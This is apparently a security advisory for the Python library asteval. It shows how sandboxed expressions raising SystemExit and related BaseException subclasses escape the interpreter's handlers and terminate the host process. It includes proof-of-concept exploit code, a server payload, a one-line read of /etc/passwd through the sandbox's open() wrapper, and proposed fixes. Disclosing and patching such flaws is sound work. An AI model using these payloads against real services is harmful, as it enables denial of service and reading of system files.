asteval has a Sandbox Escape via BaseException Subclasses

Summary

An attacker who can supply expressions to asteval.Interpreter.eval() can raise SystemExit, KeyboardInterrupt, GeneratorExit, or BaseException from inside the sandbox. These exceptions are subclasses of BaseException but not Exception, so they bypass the except Exception: safety net in both run() and eval(). The exception propagates verbatim to the calling application, terminating the process or disrupting signal and cleanup handlers.

This is distinct from prior vulnerabilities CVE-2025-24359 (format string injection) and GHSA-vp47-9734-prjw (AST mutation TOCTOU), both fixed in 1.0.6. This vector is present in all versions including 1.0.6 and current HEAD.

---

Affected Code

asteval/astutils.py, lines 89–108 — FROM_PY exposes dangerous classes to sandbox users:

FROM_PY = ('ArithmeticError', 'AssertionError', 'AttributeError',
           'BaseException',          # ← escapes except Exception:
           'BufferError', 'BytesWarning',
           ...
           'GeneratorExit',          # ← escapes except Exception:
           ...
           'KeyboardInterrupt',      # ← escapes except Exception:
           ...
           'SystemExit',             # ← escapes except Exception:
           ...)

asteval/asteval.py, line 322 — run() exception handler:

except Exception:                    # ← does NOT catch BaseException subclasses
    if with_raise and self.expr is not None:
        self.raise_exception(node, expr=self.expr)

asteval/asteval.py, line 370 — eval() exception handler:

except Exception:                    # ← same gap
    if show_errors and not raise_errors:
        ...

asteval/asteval.py, line 264 — raise_exception() raises the class directly:

raise exc(self.error_msg)            # ← when exc=SystemExit, escapes both handlers above

---

Root Cause

Python's exception hierarchy has two distinct branches under BaseException:

BaseException
├── SystemExit          ← NOT caught by except Exception:
├── KeyboardInterrupt   ← NOT caught by except Exception:
├── GeneratorExit       ← NOT caught by except Exception:
└── Exception           ← caught normally
    ├── RuntimeError
    ├── ValueError
    └── ...

FROM_PY exposes all four non-Exception classes to sandbox users. When a user writes raise SystemExit("msg"), the on_raise() handler calls:

self.raise_exception(None, exc=out.__class__, msg=msg, expr='')

which executes raise SystemExit(msg). This propagates through both except Exception: guards unchecked and surfaces in the calling application.

---

Proof of Concept

from asteval import Interpreter

# Variant 1: terminate the process
aeval = Interpreter()
try:
    aeval.eval('raise SystemExit("terminated by sandbox user")')
except SystemExit as e:
    print(f"[CONFIRMED] SystemExit escaped: {e.code!r}")

# Variant 2: disrupt signal/finally handling
aeval = Interpreter()
try:
    aeval.eval('raise KeyboardInterrupt("interrupt injected")')
except KeyboardInterrupt as e:
    print(f"[CONFIRMED] KeyboardInterrupt escaped: {str(e)!r}")

# Variant 3: GeneratorExit
aeval = Interpreter()
try:
    aeval.eval('raise GeneratorExit("gen escape")')
except GeneratorExit as e:
    print(f"[CONFIRMED] GeneratorExit escaped: {str(e)!r}")

# Variant 4: BaseException base class
aeval = Interpreter()
try:
    aeval.eval('raise BaseException("base escape")')
except BaseException as e:
    if not isinstance(e, Exception):
        print(f"[CONFIRMED] BaseException escaped: {str(e)!r}")

Output (tested on asteval 1.0.6, Python 3.11/3.12):

[CONFIRMED] SystemExit escaped: 'terminated by sandbox user'
[CONFIRMED] KeyboardInterrupt escaped: 'interrupt injected'
[CONFIRMED] GeneratorExit escaped: 'gen escape'
[CONFIRMED] BaseException escaped: 'base escape'

Real-world server scenario

from asteval import Interpreter

def handle_request(user_expression):
    aeval = Interpreter()
    return aeval.eval(user_expression)   # SystemExit propagates here

# Attacker sends: raise SystemExit(1)
# Application terminates. Top-level except Exception: handlers do not protect it.
try:
    handle_request('raise SystemExit(1)')
except Exception:
    pass  # <-- does NOT catch SystemExit; process exits

---

Impact

| Variant | Impact | |---------|--------| | SystemExit | Process terminates; exit code and message attacker-controlled | | KeyboardInterrupt | Disrupts finally blocks, signal handlers, and KeyboardInterrupt-aware loops | | GeneratorExit | Disrupts generator cleanup in calling code | | BaseException | Generic escape, same propagation |

Any application that:

• Accepts user-supplied expressions via asteval
• Relies on except Exception: at the top level (standard practice)
• Does not wrap aeval.eval() in except BaseException: (non-standard, unexpected requirement)

...is vulnerable to attacker-triggered process termination (DoS).

CVSS breakdown: Network-reachable (AV:N), no special conditions (AC:L), no credentials (PR:N), no interaction (UI:N), scope unchanged (S:U), no confidentiality/integrity impact (C:N/I:N), high availability impact — process termination (A:H).

---

Additional Note: File Read Capability (Acknowledged Limitation)

Independently of this vulnerability, asteval exposes a read-only open() wrapper (_open in astutils.py) that allows reading arbitrary files with the permissions of the calling process:

aeval.eval("open('/etc/passwd').read()")   # returns /etc/passwd contents

This is documented in doc/motivation.rst as a known design choice ("If reading from disk must be forbidden, you will want to overwrite the open() function from the symbol table"). It is included here for completeness, not as a separate advisory claim.

---

Recommended Fix

Option A — Remove dangerous classes from FROM_PY (minimal, preferred):

# asteval/astutils.py

FROM_PY = ('ArithmeticError', 'AssertionError', 'AttributeError',
           # Remove: 'BaseException',
           'BufferError', 'BytesWarning',
           'DeprecationWarning', 'EOFError', 'EnvironmentError',
           'Exception', 'False', 'FloatingPointError',
           # Remove: 'GeneratorExit',
           'IOError', 'ImportError', 'ImportWarning', 'IndentationError',
           'IndexError', 'KeyError',
           # Remove: 'KeyboardInterrupt',
           'LookupError',
           'MemoryError', 'NameError', 'None',
           'NotImplementedError', 'OSError', 'OverflowError',
           'ReferenceError', 'RuntimeError', 'RuntimeWarning',
           'StopIteration', 'SyntaxError', 'SyntaxWarning', 'SystemError',
           # Remove: 'SystemExit',
           'True', 'TypeError', ...)

Option B — Block non-Exception raises in on_raise():

# asteval/asteval.py

def on_raise(self, node):
    excnode = node.exc
    msgnode = node.cause
    out = self.run(excnode)
    # Prevent BaseException subclasses from escaping the sandbox
    if not issubclass(out.__class__, Exception):
        self.raise_exception(node, exc=RuntimeError,
                             msg=f"raising {out.__class__.__name__!r} is not permitted")
        return
    msg = ' '.join(str(a) for a in out.args)
    msg2 = self.run(msgnode)
    if msg2 not in (None, 'None'):
        msg = f"{msg}: {msg2}"
    self.raise_exception(None, exc=out.__class__, msg=msg, expr='')

Note: Option B also fixes a secondary bug on the same line — ' '.join(out.args) crashes with TypeError when args contain non-strings (e.g., raise SystemExit(0) with integer code). The fix uses str(a) for a in out.args.

Option C — Catch BaseException in run() and eval() (broadest, requires care):

except BaseException as exc:
    if isinstance(exc, (SystemExit, KeyboardInterrupt, GeneratorExit)):
        # Re-raise as RuntimeError to contain within sandbox
        self.raise_exception(node, exc=RuntimeError,
                             msg=f"{type(exc).__name__} raised in sandbox")
    elif with_raise and self.expr is not None:
        self.raise_exception(node, expr=self.expr)

Option A is the simplest and least likely to introduce regressions. Option B additionally addresses the str.join crash on integer args.

---

Disclosure Timeline

| Date | Event | |------|-------| | 2026-06-09 | Vulnerability discovered during code review | | 2026-06-09 | Report submitted via GitHub Security Advisory | | TBD | Maintainer acknowledgment | | TBD + 90 days | Public disclosure deadline |

---

Researcher

Independent security researcher. No bug bounty program exists for this project. CVE assignment requested via GitHub Security Advisory submission.

---

References

• Prior CVE: CVE-2025-24359 (format string injection, fixed 1.0.6)
• Prior advisory: GHSA-vp47-9734-prjw (AST mutation TOCTOU, fixed 1.0.6)
• Python exception hierarchy: https://docs.python.org/3/library/exceptions.html#exception-hierarchy
• asteval documentation: https://lmfit.github.io/asteval/